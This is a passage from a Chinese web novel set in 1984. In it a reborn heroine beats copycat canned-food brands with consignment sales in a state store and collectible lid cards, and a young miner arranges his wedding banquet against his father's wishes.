它呼噜噜埋头苦吃,吃了一半后,似乎有些不好意思,从碗里叼出一块肉,放在正目瞪口呆看着它的贺小弟面前。 贺明珠喷笑:“老四,快吃,别辜负你狗姐的一片好心!” 贺小弟看看贺明珠,再看看大狗,小嘴一撇,委屈极了。 贺明国低声问:“这样好吗?” 一向宠爱贺小弟的齐家红却说:“该!就该让这小子长长记性!” 贺明国:…… 贺明国低头吃饭,避开贺小弟求助的视线。 对不住了老四,大哥实在爱莫能助,你还是老老实实长教训吧。 第136章 第136章李逵与李鬼(补完)…… 经此一事,贺小弟好好吃了一番教训,短时间内都不敢再去游野泳了。 看着贺小弟每天闷闷蹲在家里和狗玩,怪可怜的,贺明珠一想堵不如疏,索性把他送到了市里的少年宫,跟着专业教练学习游泳。 贺小弟乐不可支,每天早早地就起床,催着家人把他送到少年宫,一待就是一整天。 游泳运动量大,家里又不限制吃喝,贺小弟吹气似的就长起来了,一个夏天过去,看着比同龄孩子要高壮一大圈。 这小子胆子太大,托儿所已经拘不住他,贺家人商量着,给他在子弟小学报了名,九月开学后正好上两年的学前班来过渡。 泳池里的贺小弟还不知道,他马上就要和轻松愉快的托儿所生涯告别了。 悠闲漫长的暑假终有结束之日,九月开学后,贺明珠升为了高二生。 之前乌城的高中是两年制,今年才改制为三年制,对于第一批改制后的高二学生,一中也是在摸着石头过河,课程上惯性地保持了原先的快节奏和高压状态。 饶是贺明珠第二次上高中,一时间也有些手忙脚乱,每天大部分时间都花在了学习上。 幸好现在饭店和罐头厂都已经步入正轨,两边负责人的工作能力日益成熟,不需要贺明珠操太多心,这才让她有了喘息之机。 不过在闲下来的时候,贺明珠还是会琢磨一下如何趁着改革开放的风口,把生意做大做强的问题。 这天,她放学后去乌金年代吃饭的时候,正好遇到了在店里招待经销商的徐和平。 这家伙人模人样地穿了件西装,还打了条领带,推杯换盏间很有派头,将一桌子天南海北的经销商都招呼得妥帖到位极了。 等散了场,送完客的徐和平扯松了领带,自来熟地溜进厨房,冲着费立广就喊:“费师傅,给我来碗解酒汤!这一顿给我喝的,可真够呛的!” 费立广没说话,挤眉弄眼地示意徐和平往旁边看。 徐和平不解,一转头就看见贺明珠正似笑非笑地盯着他瞧。 徐和平一惊,挤出一抹笑:“呵,呵呵,老板,你今天也在啊……” 贺明珠打量着他:“哟,这不是我们徐厂长吗?您可真够忙的,大忙人啊。” 徐和平傻笑着说:“没,没什么,就瞎忙,瞎忙……” 贺明珠说:“瞎忙都忙到酒桌上,这要是正经忙起来,还不得忙到舞厅啊?” 这年头舞厅属于见不得光的地下娱乐场所,跳舞的人属于集体搞不正当男女关系,被公安发现了是要抓到局里的。 特别是八三年“严打”才过去不久,谁没听说过周围某个人因为在舞厅和人“跳光屁股舞”,被以流氓罪的名 义送到监狱的传闻。 尽管在后世看来,因为和异性跳舞就被判刑实在有些荒谬,但在这个社会风气保守而有着强烈性压抑的年代,却是被人们所普遍接受的社会认知。 贺明珠虽然对此不以为然,这么说也是在敲打徐和平,让他自己心里有点儿数,别因为销售的事儿闹出什么笑话,毕竟这个职位确实离金钱太近。 徐和平连忙告饶:“我哪敢带经销商去舞厅那种地方。再说了,别说是跳舞蹦迪,我现在忙得连录像厅和台球厅都没空去啊。” 贺明珠挑眉道:“哦?这倒是稀奇,我记得我二哥就是被你带着去台球厅的,还听说你有‘一杆清台小王子’的名号呢。” 徐和平简直要擦汗了,老板怎么连这都知道,也太明察秋毫了些吧。 “是真没空,我忙着和经销商打好关系还来不及,哪有时间去打台球,就算去打,也是陪人家一起去,我自己是没时间的。” 听到这话,贺明珠还真有些好奇了。 “我记得咱们厂的罐头一向是不愁卖的,都是经销商求着进货,什么时候变成我们求着经销商来买货呢?” 徐和平苦笑道:“倒也不算求着,就是现在市面上罐头品种多,经销商不愁货源,就想压一压价,让我们再让出几个点,不然就不要我们厂的罐头。” 自从“煤矿人家”牌罐头横空出世后,在市场上一炮打响名气,销售量力压市面上的老牌子,赚钱速度快得让人眼红。 同时,这也给苦于没有赚钱门路的人指明了一条致富大道,他们也可以做罐头来卖啊。 使用高温灭菌工艺的罐头制作很简单,只需要蒸笼和玻璃罐,在家里也能做出罐头。 短短几个月的时间,周边城市出现了数家模仿“煤矿人家”的罐头牌子,老实点的就起名叫什么“山里人家”和“矿区人家”,不老实的就直接叫“煤矿入家”。 “人”字写成了“入”,不仔细看还真发现不了。 这些新出现的罐头牌子良莠不齐,口味各异,倒是在定价上很统一,通通比煤矿人家牌罐头的三块五定价要低个五毛一块的。 主打的就是一个李逵虽好,但李鬼更便宜。 经销商也是要赚钱的,同样是卖罐头,这些李鬼罐头能让他们赚到更多的钱,自然愿意将进货配额优先留给李鬼。 徐和平很快就察觉到罐头厂的销售量出现下滑趋势,并找到了问题的根源。 这年头知识产权的观念还没有普及,人们脑子里没有正版和山寨的区别,说起来反正都是罐头,能便宜一分就一分,管那么多干嘛。 虽然有人在吃过李鬼罐头后,立刻发觉口味上的巨大差异,扭头来找李逵,但对于大多数人来说,差不多就行了,哪有那么金贵的舌头。 李鬼们也很狡猾,做出来的罐头虽然没有正版罐头舍得下料,但味道不算太差,对于从没吃过李逵罐头的人来说,居然可以算是难得的美味。 眼见罐头销量一日日地下滑,徐和平焦头烂额,急得起了一嘴的燎泡。 面对市场份额日益被李鬼挤占的问题,徐和平想出的办法就是和经销商搞好关系,让一部分利,请他们多多从厂里进货。 毕竟,总不能真让李鬼把李逵给赶走了吧? 听了徐和平的解释,贺明珠没说话,垂着眼帘想了想。 徐和平有些不安,当初是贺明珠信任他才将这份重担交到他手中,可他却没能做好,这才多久,原本形势一片大好的罐头厂就出现了逆转的态势。 难道说,他徐和平就这么无能,要将罐头厂葬送在自己手中吗? 胡思乱想中,徐和平一贯带着笑的脸上变得忧虑起来,眉头紧皱,倒让他看起来有了几分符合年纪的气质。 “好的,我知道了。” 贺明珠的声音突然响起,徐和平一时有些紧张,不知她是否还愿意让他再留在厂里。 徐和平想,就算贺明珠要撵走他,他也绝无一丝怨恨。 毕竟,是他太无能,才造成了现在这个局面。 “我愿意承担全部责任!” “这不怪你。” 两个人的说话声同时响起,却是截然相反的意思。 徐和平不可置信地看着贺明珠,简直不敢相信自己刚刚听到了什么。 “可是,我……” 贺明珠也看着他,重复了一遍刚刚的话:“这不怪你,和你没有关系。” 徐和平抹了把脸,强行挤出笑来:“老板,我一个大男人,不用你安慰,真的,你该骂就骂,我脸皮厚,承受得住,你要是不骂我,我心里还不好受呢。” 贺明珠上下打量了一番徐和平,好笑地说:“啧啧,没想到你还有这种癖好。” 徐和平不明所以,本能地觉得这不像什么好话、。 啥叫他“还有这种癖好”?她说的是什么癖好,怎么感觉有点不对劲呢? 贺明珠没解释,径直将话题转回罐头销售的事上。 “你说的我都了解了,这算是我的疏忽,忘了人民群众伟大的创造力和更加伟大的模仿力,连自制枪|械、手搓导|弹的能人都有,何况只是仿制一个小小的罐头。” 徐和平问道:“那要怎么办?那些模仿我们厂的罐头卖得便宜极了,难道我们也要跟着降价吗?” 贺明珠摇头:“不,一文价钱一文货,我们就卖原价。” 徐和平苦笑:“经销商们可能要不乐意进我们的罐头了……” 贺明珠却笑着说:“谁说我们非经销商不可了?虽说通过他们能让我们的罐头卖到更远的地方,可是,没有经销商我们也能照样卖货,还能卖得更好。” 徐和平有点不信。 倒也不是不相信贺明珠,主要是自从他接手销售这一摊子事以来,日益意识到经销商的重要性。 他们就像是红细胞,能将氧气输送到城市的毛细血管,别管多偏远的地区,他们都能将货铺过去。 如果仅凭罐头厂直销,那么销售渠道始终会被局限,无法扩大客户群体。 贺明珠看出徐和平的疑惑,没多解释,只是笑着说:“你等着看吧,不过我只演示一遍,接下来就要看你的了。” 徐和平既期待又怀疑,这位贺老板会用什么办法解决被李鬼抢市场的问题呢? 贺明珠的办法很简单,她托关系联系到国营商店的经理,商量“包柜台”的事。 经理开始时是很矜傲的,一口回绝了贺明珠的提议,话里话外都是“国家的地盘怎么能让个体户来经营”,一副没得商量的模样。 不过,看在中间人的面子上,经理倒没 把贺明珠直接赶出去,还愿意客气客气,看她要说什么。 贺明珠温和地说:“包柜台不行的话,那您看这样行不行,我们厂把货放在商店柜台,由商店来代销,每卖出一个罐头,商店拿这个数的提成——” 贺明珠比划了个数字,经理面露喜色,又掩饰道:“那要是卖不出去呢?” 贺明珠说:“要是卖不出去,您就把罐头都退回来,要是有什么损耗我们自己承担。” 经理一想,要是按代销模式来的话,商店旱涝保收,罐头厂承担了全部风险,倒也不是不行。 而且“煤矿人家”牌罐头的质量过硬,口碑相当不错,最近有不少客人来问售货员,店里有没有卖这个牌子的罐头。 要是真将这个牌子的罐头摆到百货商店的柜台上,别的不说,就按每天进店的人流量,通过卖罐头,商店就能挣得盆满钵满。 见经理露出意动之色,贺明珠在火上添了一把柴。 “报纸上都说改革开放是压力与机遇同在,不管是公家单位还是个人,都要放开手脚大胆干。现在百货商店卖的都是国家计划调拨商品,但商品种类太少,都是老几样,也不关心市面上流行什么,不能满足群众的需要,这就限制了商店本身的发展。我们生产的罐头虽然不在计划调拨之列,可我们厂是集体企业,商店里卖集体企业的罐头,也不能算是危害国家利益呀。” 贺明珠的话给了经理一个台阶,在情理和法理上都给了他一个说得过去的理由。 经理基本已经被贺明珠说服了,但还是说了句:“你说得有道理,可我们商店还没有过这样的先例,也不能随随便便就做决定。” 贺明珠说:“总要有第一个先例呀。现在好多国家单位都在做买卖,乌城这边已经算是反应比较慢的了,听说北京的大商店早就有包柜台的了,每个月能收大几千块的租金呢。” “一个柜台能有几千块的租金?!” 经理震惊了,要知道现在商店的柜台一年也不一定能挣到几千块的利润。 贺明珠说:“是啊,商定只管把柜台租出去,什么事儿都不用管,只管收租金就行。” 经理追问:“北京的工商不管吗?” 贺明珠压低声音:“当然管啊,所以不能让他们知道。” 经理眼睛一亮:“这样也行?!” 在1984年,国营商店出租柜台还是不被允许的,认为会危害公有制的主体地位。 由于商店内的商品都来自于计划调配商品,且为计划定价,商店的采购自主性受到极大限制。 在改革开放后,大量计划外的商品涌向市场,与计划商品争夺市场份额。 这些计划外的商品有的来自海外进口,有的则来自本土的个体户或红帽子企业,身段灵活,一切生产向市场看齐,与计划内的国企截然相反。 一方是根据市场流行风向而及时调整生产,一方却滞后乃至自行隔离市场,此消彼长,计划商品愈发无人问津,时间长了,国营商店也吃不消积压的库存。 因此,北京的一些商店就偷偷摸摸地将柜台出租,双方瞒着工商局,私底下签合同,悄悄地开始了柜台外包的买卖。 由于柜台承租方没有执照,也没办手续,要是被工商知道了,就会被查封全部货物,商店也会受罚,因此双方的口风都很严,柜台出租的事只在很小范围内流传。 贺明珠是上一辈子知晓的,当时柜台出租已经是很普遍的商业行为了,当事人才将自己的亲身经历讲述出来。 贺明珠将自己所知的关于柜台承包的事都告诉了经理,经理听得如痴如醉,像是打开了新世界的大门,眼中迸射出炽热的光芒。 直到有人敲响办公室的房门,经理才反应过来,急忙低下头,掩饰性地清了清嗓子。 “这位贺厂长,你先回去吧,我们还要再讨论一下,有消息了会告诉你的。” 听到这话,贺明珠知道这事儿已经十有八九成了。 果然,没过两天,商店方面就通知贺明珠来签合同。 商店还是没敢把步子迈得太大,谨慎地从最基础的代销模式开始。 贺明珠也不贪心,不指望一口吃成胖子,路要一步一步走,只要有了开始,双方建立起信任关系,后续进一步的合作就不成问题了。 “煤矿人家”牌罐头入驻国营商店,还被摆在了商店最显眼位置的柜台上,售货员一改晚娘脸,热情不已地向来往客人介绍着罐头的口味。 在贺明珠的建议下,柜台旁摆着一个酒精炉,罐头被倒进锅里,咕嘟咕嘟地冒着热气,将香味传遍了整个商店。 在鼻子的带领下,进店的客人都情不自禁地来到罐头柜台前,在售货员主动请他们试吃品尝之后,不由得沉迷于这样前所未见的美味中。 “来、同志,尝一尝,这可是现在最流行的煤矿人家牌罐头,不仅比国营饭店的菜好吃,还更便宜呢!一罐足足有两斤,只要三块五!” 柜台后的售货员热情地招呼客人来试吃,主动将盛放着罐头样品的小碗递过去,客人受宠若惊地接过碗,只尝了一口就惊艳地瞪大眼睛。 “真好吃啊!同志,这是只用罐头做的?” 售货员笑着说:“对,罐头倒锅里直接加热,什么调料都不用放,要是自己在家吃的话,还可以在汤里下一把面条呢!” 试吃的人依依不舍将碗中最后一点样品都吃干净,将碗还回去,不住地回味刚刚吃到嘴的美味。 “同志,给我来一个,啊不,来两个罐头!” 旁边的人听到后,纷纷凑上前来,也要来试吃这个好吃的罐头。 就算不买,免费尝尝也是好的嘛。 你拥我挤,无数双手往柜台上伸过来,险些将酒精炉都掀翻了。 售货员护着锅,眼睛一瞪,显现出些平时的威风劲儿。 “后退,都后退!排队!再挤就不要来领试吃了!” 等人群粗略排了个队,售货员拿着长柄勺,在每个碗里只放了一块肉,递给试吃的人们。 “哎哟,这也太少了吧,售货员,再多来点!”有人起哄道。 售货员一边分发试吃样品,一边泼辣道:“免费的还要求这么多?!嫌少啊?嫌少你就买个罐头回家,爱吃多少就吃多少!” 又有人说:“柜台上这么多罐头,你再开几个,反正是公家东西,又不花你的钱,别那么小气。” 售货员回击道:“那我还不如留着拿回家自己吃呢!” 不管人们说什么,售货员都严谨地给每个来领试吃的人发一块肉,一个罐头足足发了几十个人,连汤汁都刮得一干二净,一点没浪费。 之所以售货员这么爱惜东西,不是因为天生素质高,而是贺明珠私下和售货员说好了,每卖出一个罐头,就给她三分钱的提成。 三分钱看着不多,但耐不住罐头的销量大,一天光是提成就有五块十块,日积月累,一个月光是提成就比售货员的工资高了。 财帛动人心,售货员迸发出前所未有的工作热情,虽然还做不到“顾客是上帝”,但至少也能做到顾客是二舅姥爷的程度了。 来试吃的客人抱怨归抱怨,但还是珍惜地将碗中的罐头吃得一干二净。 和市面上的罐头食品相比,“煤矿人家”牌罐头简直是降维打击,不仅没有一丝消毒水的异味,而且吃起来口味醇厚,肉质饱满,比一些平庸厨师的手艺还要好得多。 精明的主妇主夫们算一算账,相比于自家买肉做荤菜的成本,买一瓶罐头反而更实惠。 售货员趁热打铁:“今天做活动,买两个罐头打九折,买五个罐头打八折,买得越多越便宜!过了这村可就没这店了,以后再买罐头可就是原价了!” “罐头不怕放,买回去可以慢慢吃!可优惠活动不是天天都有!” 听到售货员的话,原本还在犹豫的人当机立断,下定了决心要趁着打折买几个罐头回家。 “给我来两个罐头!” “五个罐头打八折,我们几个放在一起结账好了,买罐头的钱平摊。” “我们几个也凑一凑吧……” “售货员,给我们拿十个罐头!” 百货商店难得地出现了一波抢购潮,卖罐头的柜台前人满为患,新到货的罐头半天就售卖一空。 经理看到这一幕后,笑得合不拢嘴,连连派人去罐头厂催货,要求供应更多的罐头。 借助百货商店巨大的人流量,原本只是在小范围内为人所知的“煤矿人家”牌罐头,在短时间内被更多的人所知晓,名声大噪。 在这个年代,百货商店意味着“高档”,人们想要买“上档次”的商品时,第一反应就是去城里的百货商店,而不是去附近的小商店或者供销社。 “煤矿人家”牌罐头被放在百货商店的柜台售卖,仿佛得到了商店的背书,而罐头本身的过硬品质,也让其更为人们所认可。 渐渐地,人们在买罐头时,默认“煤矿人家”牌才是最好的。 如果有人要买什么“山里人家”、“矿务局人家”的罐 头,是要被人鄙视品味的。 而如果买到的是“煤矿入家”,那更是贻笑大方,要作为“不识字”的反面典型被人笑上几个月。 经销商们的鼻子是最灵的,很快就察觉到了市场风向的变化,一改之前的态度,热情地和徐和平称兄道弟,还要主动请他吃饭。 徐和平围观了全程,叹为观止,没想到在他眼里的困局,居然这么轻易地就被贺明珠所化解。 贺明珠却说:“这才哪儿到哪儿啊。” 乌城有那么多家国营商店,她不过是打通了一家的关窍,后面还有的是商店要联系呢。 再说了,乌城只是起点。 先是本市,然后是省内,最后是全国——攻城略地才刚刚开始。 徐和平踌躇满志地接下了这个任务。 是啊,这才哪儿到哪儿啊,不过是个开始而已。 除了打通国营商店的柜台,贺明珠还做了一件事,把李鬼罐头们挤兑得连落脚的地方都没有。 ——“煤矿人家”牌的罐头,在每个瓶盖里面贴了张画片。 画片是圆形的,贴合罐头瓶盖的形状,隔着一层薄薄的防水隔层,轻轻一撬就能取下来。 撕开暗色的防水膜,露出来的画片有着极精美的人物图案,是工艺美术大师的作品,笔触细腻生动,看着就很赏心悦目。 画片是成套的,有仙气飘飘的八仙过海,有娇媚动人的金陵十二钗,还有威风凛凛的一百零八将,以及三国演义的魏蜀吴三国人物。 每个罐头能开出什么样的画片全凭手气,运气好的人用不了多长时间就能全部集齐,带着全套画片去罐头厂换一台最时兴的家电。 八仙过海换的是收音机,金陵十二钗换的是缝纫机,一百零八将能换一台冰箱,而最难集齐的三国人物卡可以换一台彩色电视机。 集卡换家电的活动甫一开展,就得到了广大人民群众的热烈反响,当天百货商店的罐头就销售一空,到了后面,来送货的三轮车都等不及在仓库卸货,在商店门口就被人群抢购一空。 来买罐头的人群中,有的是想抢先完成集卡,领走奖品家电;有的则是单纯觉得画片好看,留下用于个人欣赏。 还有的人半信半疑,拉着售货员问:“你们罐头里的画片是全的吧?别少印了一张两张的,多少年也攒不齐一套啊!” 不过这个怀疑很快就被打消了,因为有人集齐了一整套的金陵十二钗,去罐头厂换回了一台全新的蝴蝶牌缝纫机。 乌城本地的报纸还刊登了这一则新闻,照片上抱着缝纫机的小青年笑得见牙不见眼。 没多久,收音机也被领走了,还是最贵的环球牌,是普通收音机价格的三倍呢。 群众们的热情被点燃了。 虽然收音机和缝纫机被领走了,可冰箱和彩色电视机还在呢! 一段时间里,百货商店门口经常有人守着,见有人提着罐头出来就凑上去问:“画片卖不卖?” 为了集画片,矿务局还闹出了个不大不小的新闻。 快要过年,有的单位采购现在最时兴的“煤矿人家”牌罐头作为福利发给职工。 职工们高兴不已,可罐头拿到手后却发现有被打开的痕迹,个别罐头里还没了画片。 一查才知道,负责采购的小领导趁人不注意,自己偷偷摸摸藏在仓库开了一夜的罐头,把比较少见的画片都拿走了。 靠这一招,罐头厂的销量翻了好几番,什么“山里人家”、“矿务局人家”还有“煤矿入家”都没了音讯。 即使能买通罐头厂女工,将配方偷到手,把口味仿个八九不离十,但没有画片,没人乐意买账。 李逵大获全胜,李鬼大伤元气,不得不销声匿迹,很长一段时间都没再出现。 不是没有李鬼罐头想要模仿这一招,但贺明珠在制作画片时下了大功夫,光是用作画片的纸板就实验了许多次,从厚纸板换到彩色塑料卡片,制作成本虽然变高,但仿冒的难度也直线上升。 而且煤矿人家罐头的画片系列并不是一成不变,上个月流行的是三国演义,下个月就换成西游记,再下个月则是水浒传,其中间或还夹杂着最近流行的新事物。 比如说,今年夏天举办的洛杉矶奥运会,中国实现了金牌零的突破,在国内掀起一阵奥运热。 于是,趁着这股风潮,煤矿人家牌罐头就增加了一套奥运特辑画片,由贺明珠亲自操刀,将各个体育项目的图标画成了卡通风格,Q萌可爱,让人耳目一新。 其中,射击、举重、体操、击剑、排球、跳水等项目由于获得了金牌,其画片被涂成醒目的金色,并作为稀有度最高的画片,爆率极低。 一段时期内,大街小巷人们打招呼的话都变成了—— “你开出来射击的金牌没?跳水的也行,我就差这两个了。” “一个也没,这金牌可太难拿了!” 还有小孩在金色画片上打了孔,穿了根绳子,把画片挂在脖子上,远远看去,像是挂了个金牌。 李鬼们想要跟风,但做出的画片一眼假,看着就粗制滥造,根本没人买账。 有人没注意,在街边小店买了瓶“煤矿入家”,回家开盖后发现画片是纸板做的,被菜汤浸得湿溻溻,图案模糊不清,气得拎着罐头就去找小店算账。 “你卖的是什么玩意儿!这纸都化里面了,还能吃吗?!” 这边纠纷还没解决,另一边又有人来闹事儿了。 “你自己看看这画片,林黛玉都画成刘姥姥了,你还说卖是真货罐头,这特么能是真的吗?!” 小店老板被两面夹击,焦头烂额,最后不得不团团道歉,三块钱卖出的罐头,最后各赔了十块钱,才平息了事端。 小店老板娘问他:“退回来的罐头怎么办?咱们家自己吃,还是拧回去接着卖?” 小店老板一脸晦气。 “卖什么卖!我要找经销商退货!” 第137章 第137章刘爱民的婚宴(补完)…… 1984年是一个丰收的年份。 今年格外的风调雨顺,没有一丝波澜,不旱不涝,顺顺当当地就到了秋收时节。 全国各地的粮食都在丰收,创纪录的丰收,粮食多到粮站都收不过来。 这年头,国家实行的是粮食统购统销的政策,粮站完成一年的收购任务后,就不再从农民手中收购粮食。 本来丰收是件大好事,可谷贱伤农,反而出现了“卖粮难”的问题。 粮食卖不出去,渐渐地,有胆子大的农民将自家粮食运到城里来卖,吆喝着“小麦换粮票”、“小麦换香烟”,将手中的现粮换成各类票证,以备不时之需。 趁着这个机会,贺明珠让底下的饭店和食堂大量屯粮,能买多少就买多少,未经加工的小麦堆满了仓库,足够用上好几个月。 许家村的村民不用担心粮食卖不出去的问题,早在交完今年的提留统筹、留够一家人的口粮后,就将多余的粮食通过许大舅卖到了饭店。 另一边,开着养鸡场的郝家村也不担心,虽然养鸡场里的鸡是散养的,平时吃草籽和虫子比较多,但鸡是要吃粮食才能长肉。 现在养鸡场规模日益扩大,鸡的数量比村里人都多,只有担心粮食不够用作饲料的,哪还有余粮。 而且郝家村的村民自从通过养殖赚了钱,就不再一门心思都放在种地上,开始琢磨再养点什么别的家畜,猪也行,羊也行,总之,能赚到钱就行。 城里人也从农村的丰收中沾到了光。 虽然在国营粮店用粮票买面粉依旧是每斤一毛八,比市场上六毛一斤的面粉要便宜得多。可每个人每月的粮票是有限的,将将维持着吃不饱但饿不死的底线,想要放开肚子吃是不可能的,除非挤占家里其他人的粮食份额。 家里人口多,有发育期青少年或干体力活的大肚汉,再俭省的主妇也不得不算计着每月花销,从黑市上买一些粮食来弥补家中缺口。 自从粮食大丰收,经常有农民推着板车来城里卖粮,市场上的面粉价格应声而跌,从六毛降到五毛再降到四毛,跌幅看得人心旷神怡。 1984年的秋天,是格外饱足的秋天。 在这个金灿灿的时节,刘爱民要结婚了。 他是一矿的职工,也是煤矿人家的老顾客,从饭店刚开业时就经常来吃饭,当时他还是个一人吃饱全家不饿的光棍汉,如今也要成家了。 经单位老大姐介绍,刘爱民认识了一个农村考学出来的女孩,被分配到矿上卫生院做护士,虽然不是全民工,但也是正儿八经有编制的集体工。 女孩的家庭即使放在农村里也属于条件不太好的那种,父亲好赌还有肺结核,家里一串的兄弟姐妹,全家的收入都来自于种地。 不过刘爱民的条件也不怎么地,说起来是城市户口,头顶有片瓦遮身,实际上就是无产阶级城市贫民,手停口停,和祖上三代贫农的女孩比起来半斤八两。 两个小年轻互相看对了眼,也不计较彩礼嫁妆,光身子嫁娶,算是八十年代的“裸婚”。 刘爱民和女孩在外面租了间小平房,一人带一床铺盖,再加上暖壶水盆,简单地置办起一个家。因为两人平时在单位吃食堂,索性没准备锅碗瓢盆,灶台主要用来烧热水。 临到结婚,刘家父母反倒有些不好意思起来,张罗着要给新婚夫妇办个婚宴。 刘爱民无所谓,他原本是想来一场当下最时兴的旅行结婚,带着媳妇去北京玩一圈,但办席也行,还能收一圈份子钱。 刘家父母出钱,要在国营饭店摆上两桌,请一请亲戚就行,自己人坐下吃吃饭,外人就不要来了。 刘爱民不同意,要再加上小夫妻两边单位的领导和同事,刘家父母挺不高兴的,话里话外的意思是嫌他挥霍钱,多一桌席面就要多掏一份钱。 刘爱民也不高兴,别人家儿子结婚是家里大事,爹妈把方方面面都准备得妥帖到位,哪有他父母这样,只管请客吃饭,旁的什么都不问,现在他只是要多一桌客人,他们就这样摆脸色。 最后各退一步,刘家父母同意单开一桌请小夫妻的领导同事,但席面的钱要小夫妻来付,份子钱也是他们自己收。 这场婚宴从开始就埋下了隔阂。 刘爱民和刘父去国营饭店定席面,服务员嘟嘟囔囔,一副不耐烦的模样。 刘父提了好几个找人算好的婚宴日期,都被服务员否了,这也不行,那也不行,最后说周三中午有空,问他们要不要定。 刘爱民当即跳起来说:“周三要上班,谁中午有空来吃席啊?!” 刘父也不大满意,那个日子在黄历上写着不宜嫁娶,不是个办婚宴的好时间。 服务员眼睛翻了翻,没好气地说:“那你们不要定好了,我们饭店忙都忙不过来,显得我们有多稀罕接你们的单子似的,要不然就自己在家摆两桌,随便吃吃好了。” 刘爱民气得不行:“你!” 刘父急忙将刘爱民拉到身后,好声好气地对服务员说:“行,周三就周三,还请您多费心,千万把这个日子给我们留着。” 服务员却说:“那我可确定不了,谁知道到时候会不会有领导要来……喏,单子你拿好,去收银台交订金吧。” 刘父唯唯诺诺地接过单子,又对服务员说:“同志,劳驾我能见见店里的厨师吗?” 服务员还没说话,刘爱民抢先道:“你见他做什么?” 刘父说:“我和人家师傅说一说,那天好好给咱们做菜,这可是你结婚的大日子。” 接着,刘父又对服务员说:“我给厨师准备了两条烟两瓶酒,让大家都散散喜气。” 服务员说:“厨师忙得很,没空见你,你把东西给我就行——” 说着话,他探头往刘父提着的布兜里看了看,咂咂嘴:“哦哟,香山烟,迎春酒,将将就就,马马虎虎……行了,给我吧。” 香山烟是乙等烟,一条要四块九毛钱;迎春酒有着“北方小茅台”之称,一瓶要六块八毛钱。 刘爱民这才知道刘父提了一路的布兜里装的是什么东西。 他心中极为不解,明明是他在饭店付钱办婚宴,怎么还要给厨师送礼? 见刘父殷勤地要将烟酒交给服务员,刘爱民一把抢过布兜,对刘父说:“我们不在这里办婚宴了,走,换一家!” 服务员见状,没好气地甩手走了,扔下一句:“显出你了,有本事别后悔!” 刘父急得不行,又要和儿子抢布兜,又要去拉服务员,手忙脚乱。 “你小孩子家懂什么?谁家办席面不给厨师送礼的?快撒手!” 刘爱民还是头一次听到这种说法,但他无论如何都不能接受,合着他不仅要在饭店花钱请客,还要给厨师额外送礼,这不是冤大头,送上门让人宰吗? 刘爱民仗着年轻力壮,强行拉着刘父出了国营饭店的门。 见事态无法挽回,刘父气得连连跺脚。 “你看看你这办的叫什么事!” 刘爱民梗着脖子说:“全天下又不是只有这一家饭店,我就不信所有饭店都要给厨师送礼!” 刘父骂道:“人家都送,就你不送,要是厨师背后作妖,你这婚宴还怎么办?!” 刘父还是老思维,婚宴的主家要给厨师送礼,一方面是为了让厨师在做席面时更加尽心尽力,另一方面则是请厨师别在菜里做手脚。 厨师手上有松有紧,松一松,炒出来的菜每盘多一点,客人吃得肚圆肠肥;紧一紧,每盘菜少一点,能多出来两桌的菜,主家花着三桌的钱,能请五桌的客。 要是席面上有全鸡,厨师稍微动动手脚,每桌的鸡少几个零件,就能拼出一只整鸡。 刘父自觉一片好心,被不懂事的儿子当成驴肝肺,气得不想和他多说话。 刘爱民固执地说:“我给饭店交了钱,饭店就该管好厨师,而不是让我再去给厨师送礼,全天下到哪都没有这个道理!” 说不通儿子,刘父气道:“我不管了!这婚宴你爱怎么办就怎么办吧!” 老头子一把夺过刘爱民手中的布兜,气呼呼地甩手走了。 刘爱民看着老头的背影,一转身,朝相反的方向走去。 他漫无目的地走着,不知道为什么自己结个婚有这么多的烦心事儿。 早知道就不答应父母办什么婚宴, 安安静静地旅行结婚不好吗? 可现在单位同事都知道他要办婚宴的事,都等着他发请柬派喜糖,也不好说反悔就反悔。 但要是不在国营饭店摆婚宴的话,要去哪里呢? 要知道刘家父母特别好面子,家庭条件不怎么地,倒喜欢打肿脸充胖子。 现在不少人家结婚时都是选择在家里摆上几桌,虽然麻烦了些,但是省钱。 刘家父母却不肯,在他们心中,国营饭店是矿务局最高档的饭店,来这儿吃饭的都是上等人,借钱也要在国营饭店摆宴席。 到哪里找一家和国营饭店档次差不多、而且厨师还不收礼的饭店呢? 刘爱民有些苦闷,父母帮不上忙就算了,怎么还尽给他出难题啊。 正胡思乱想中,他走到矿务局最繁华的马路上,抬头一看,对面商铺挂着乌底金字的牌匾,在秋日阳光下折射出耀眼的光芒 ——乌金年代。 刘爱民眼睛一亮,有了! 周末那天的天气极晴朗,秋高气爽,乌城难得出现这样瓦蓝的天空,明亮而清爽。 一大清早,刘家人来人往,院门就没关上过,高声的笑语翻过了院墙,空气似乎都是喜气洋洋的。 “恭喜恭喜,你们家可算是又一个儿子成家了!” “把他养到这个年纪,找了工作,又给他娶了媳妇,我这个当爹的也算对得起他了。” “哈哈,老哥别这么说,以后有的是你享福的日子!” “不拖累我就行了,不指望他有什么出息。” 穿着全新中山装的刘父和亲戚寒暄着,把对方送进屋里坐下,连口水都来不及喝,就又去迎接下一个客人。 刘母也是一样,带着几个儿媳闺女接待客人,忙得不可开交。 间或两人碰面,刘母压低了声音问刘父:“爱民定的是哪家饭店?你到底问了没?” 刘父嘴硬道:“管他是哪家,他有本事,我管不了。” 刘母照着他腰上的软肉掐了一把,恨声道:“你和孩子置什么气?!亲戚都来家了,我们连吃饭的饭店都不知道,你一辈子的脸面都不要了?” 刘父软下声来,说:“爱民总不会不管家里的……我让老三去问问。” 还不待刘父派三儿子去问饭店的名字,刘爱民穿着一套新做的西服,胸口上别着红花,来到了刘家,热络地招呼着许久不见的亲戚们。 亲戚们围在刘爱民身边,七嘴八舌地恭喜他结婚,又问新娘哪儿去了,怎么没见到她。 刘爱民说等下接亲就见到了,又开玩笑问大家都吃了没,婚宴是在一家极好的饭店,要是早上吃得太多,等下要多运动消化一下,不然中午就吃不下了。 亲戚们笑着说既然他这么说,等下可就要看看这饭店有多好,要是不好吃的话,要拿刘爱民是问。 刘父在旁边听得脸都绿了。 上午的时间过得飞快,热热闹闹的接亲后,一行人在刘爱民的带领下,簇拥着来到了婚宴的饭店。 “乌金年代?这家是国营饭店吗?” “这是私人开的店,不是国营的。” “老刘家里办喜事不是向来都在国营饭店吗?他就算嫁闺女都要在国营饭店办,怎么这次儿子结婚反而来了私人饭店?” “十个手指还有长短呢,家里孩子多了,有个爹妈不待见的也不奇怪。” “嘘,你们都小点声,人家今天办喜事呢……” 亲友们低声讨论着,刘父听到后极不自在,把刘爱民扯到一边,低而急地斥责道: “不是说让你找一家国营饭店吗?你怎么找了个私人饭店?这让人家怎么看我们?!” 